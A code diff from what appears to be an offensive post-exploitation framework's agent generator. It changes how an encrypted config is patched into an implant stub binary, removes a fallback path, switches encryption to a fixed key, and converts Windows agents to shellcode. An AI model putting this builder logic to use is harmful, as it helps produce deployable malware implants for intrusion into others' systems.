@@ -91,23 +91,20 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
9191	}
9292
9393	// read and encrypt config file 
94- 	encryptedJSONBytes , err  :=  readAndEncryptConfig ()
94+ 	config_payload , err  :=  readAndEncryptConfig ()
9595	if  err  !=  nil  {
9696		logging .Errorf ("Failed to encrypt %s: %v" , live .EmpConfigFile , err )
9797		return 
9898	}
99+ 	logging .Debugf ("Config payload: %d bytes" , len (config_payload ))
99100
100101	// read stub file 
101102	toWrite , err  :=  os .ReadFile (stubFile )
102103	if  err  !=  nil  {
103104		logging .Errorf ("Read stub: %v" , err )
104105		return 
105106	}
106- 	sep  :=  bytes .Repeat (def .OneTimeMagicBytes , 2 )
107- 
108107	// payload 
109- 	config_payload  :=  append (sep , encryptedJSONBytes ... )
110- 	config_payload  =  append (config_payload , sep ... )
111108	// binary patching, we need to patch the stub file at emp3r0r_def.AgentConfig, which is 4096 bytes long 
112109	if  len (config_payload ) <  len (def .AgentConfig ) {
113110		// pad with 0x00 
@@ -122,16 +119,6 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
122119		bytes .Repeat ([]byte {0xff }, len (config_payload )),
123120		config_payload ,
124121		1 )
125- 	// verify 
126- 	if  ! bytes .Contains (toWrite , config_payload ) {
127- 		logging .Warningf ("Failed to patch %s with config payload, config data not found, append it to the file instead" , stubFile )
128- 		// append config to the end of the file 
129- 		err  =  appendConfigToPayload (stubFile , sep , encryptedJSONBytes )
130- 		if  err  !=  nil  {
131- 			logging .Errorf ("Failed to append config to payload: %v" , err )
132- 			return 
133- 		}
134- 	}
135122	// write 
136123	if  err  =  os .WriteFile (outfile , toWrite , 0o755 ); err  !=  nil  {
137124		logging .Errorf ("Save agent binary %s: %v" , outfile , err )
@@ -141,8 +128,6 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
141128	// done 
142129	logging .Successf ("Generated %s from %s and %s" ,
143130		outfile , stubFile , live .EmpConfigFile )
144- 	logging .Debugf ("OneTimeMagicBytes is %x" , def .OneTimeMagicBytes )
145- 
146131	if  payload_type  ==  PayloadTypeWindowsExecutable  {
147132		// generate shellcode for the agent binary 
148133		donut .DonoutPE2Shellcode (outfile , arch_choice )
@@ -212,7 +197,7 @@ func readAndEncryptConfig() ([]byte, error) {
212197	}
213198
214199	// encrypt 
215- 	encryptedJSONBytes , err  :=  crypto .AES_GCM_Encrypt (def .OneTimeMagicBytes , jsonBytes )
200+ 	encryptedJSONBytes , err  :=  crypto .AES_GCM_Encrypt ([] byte ( def .MagicString ) , jsonBytes )
216201	if  err  !=  nil  {
217202		return  nil , fmt .Errorf ("failed to encrypt %s: %v" , live .EmpConfigFile , err )
218203	}
0 commit comments